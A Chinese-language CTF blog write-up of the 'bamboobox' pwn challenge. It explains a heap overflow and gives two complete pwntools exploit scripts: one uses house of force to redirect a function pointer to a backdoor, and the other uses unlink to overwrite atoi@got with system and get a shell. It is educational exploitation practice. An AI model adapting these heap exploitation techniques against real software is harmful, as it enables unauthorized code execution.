WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

bamboobox

0x01 常规解法 house of force

这题有后门函数

题目的原意是用house of force

通过堆溢出修改top_chunk的size实现任意位置写入

代码就挑关键的地方看吧

在主函数最开始创建了0x10的堆块用来存放hello_message和goodbye_message函数

在开始执行的时候调用hello_message,程序结束的时候调用goodbye_message

然后就是change_item功能存在堆溢出,可以溢出任意字节

堆索引表的位置在0x6020C0

结构为

1
2
3
4
5
struct chunk_index
{
long size;
long chunk_size;
}

因为存在任意字节溢出,可以直接将top chunk的size为覆盖为0xffffffffffffffff

这样就可以申请到内存的任意位置了

之前说的hello_message和goodbye_message都存在第一个堆块中

只需要申请-(0x20+0x60+0x10)就可以申请到第一个堆块上面,再次申请0x20的堆块就可以控制第一个堆块了

将里面的函数修改为后门函数退出程序就可以拿到flag

至于为啥是-(0x20+0x60+0x10)这个数字,0x20和0x40不用说是上面堆块的大小,后面这0x10好复杂..反正也要看glibc的,宏定义太多这次就偷懒不看了..

还有一点这题在buu是用不了后门函数的,需要用别的方法解,所以这里稍微了解下HOF以后再碰到题目再学

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
pwnfile = "./bamboobox"
io = process(pwnfile)
elf = ELF(pwnfile)


def show(index):
io.sendlineafter("Your choice:", "1")

def create(size, content):
io.sendlineafter("Your choice:", "2")
io.sendlineafter("Please enter the length of item name:", str(size))
io.sendlineafter("Please enter the name of item:", content)
# sleep(1)
#b *0x4009B7
def edit(index, size, content):
io.sendlineafter("Your choice:", "3")
io.sendlineafter("Please enter the index of item:", str(index))
io.sendlineafter("Please enter the length of item name:", str(size))
io.sendafter("Please enter the new name of the item:", content)
# sleep(1)
#b *0x400B23

def drop(index):
io.sendlineafter("Your choice:", "4")
io.sendlineafter("Please enter the index of item:", str(index))
# sleep(1)
#b *0x400C4D

magic = 0x400D49


create(0x30, "aaaa")
payload = '\x00'*0x38 + p64(0xffffffffffffffff)
edit(0, len(payload), payload)

payload = 'a'*8
create(-(0x40+0x20+0x10), payload)
create(0x20, p64(magic)*2)


io.interactive()

这题对堆操作的自由度很高,可以使用Unlink来控制堆索引表

堆索引表有size位所以堆地址是在0x6020C0+0x8的位置

  1. 创建0x30和0x80堆块
  2. 构造fake_chunk再释放0x80堆块
  3. 通过unlink修改0索引表位置为0x6020b0
  4. 修改0堆块,将atoi@got写到1索引表
  5. 打印1堆块泄露libc,计算得到system地址
  6. 修改1堆块将system地址写入,也就是atoi@got,最后再atoi接收参数时输入/bin/sh后GetShell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
pwnfile = "./bamboobox"
io = process(pwnfile)
elf = ELF(pwnfile)

# host = "node4.buuoj.cn"
# port = 27330
# io = remote(host, port)

def show(index):
io.sendlineafter("Your choice:", "1")

def create(size, content):
io.sendlineafter("Your choice:", "2")
io.sendlineafter("Please enter the length of item name:", str(size))
io.sendlineafter("Please enter the name of item:", content)
# sleep(1)

def edit(index, size, content):
io.sendlineafter("Your choice:", "3")
io.sendlineafter("Please enter the index of item:", str(index))
io.sendlineafter("Please enter the length of item name:", str(size))
io.sendafter("Please enter the new name of the item:", content)
# sleep(1)
#b *0x400B23

def drop(index):
io.sendlineafter("Your choice:", "4")
io.sendlineafter("Please enter the index of item:", str(index))
# sleep(1)
#b *0x400C4D


chunk_ptr = 0x6020C8

create(0x30, 'aaaa') #1
create(0x80, 'aaaa') #2

payload = p64(0) + p64(0x30) + p64(chunk_ptr-0x18) + p64(chunk_ptr-0x10) + p64(0)*2 + p64(0x30) + p64(0x90)
edit(0, len(payload), payload)


drop(1)

payload = p64(0)*2 + p64(0x30) + p64(0x6020C0) + p64(0x30) + p64(elf.got["atoi"])
edit(0, len(payload), payload)
show(0)
atoi_address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("atoi_address: " + hex(atoi_address))

libc = LibcSearcher("atoi", atoi_address)
base = atoi_address - libc.dump("atoi")
log.success(hex(base))
system_address = base + libc.dump('system')
# gdb.attach(io, "b *0x400B23")
# pause()

payload = p64(system_address)
edit(1, len(payload), payload)

io.send("/bin/sh")

io.interactive()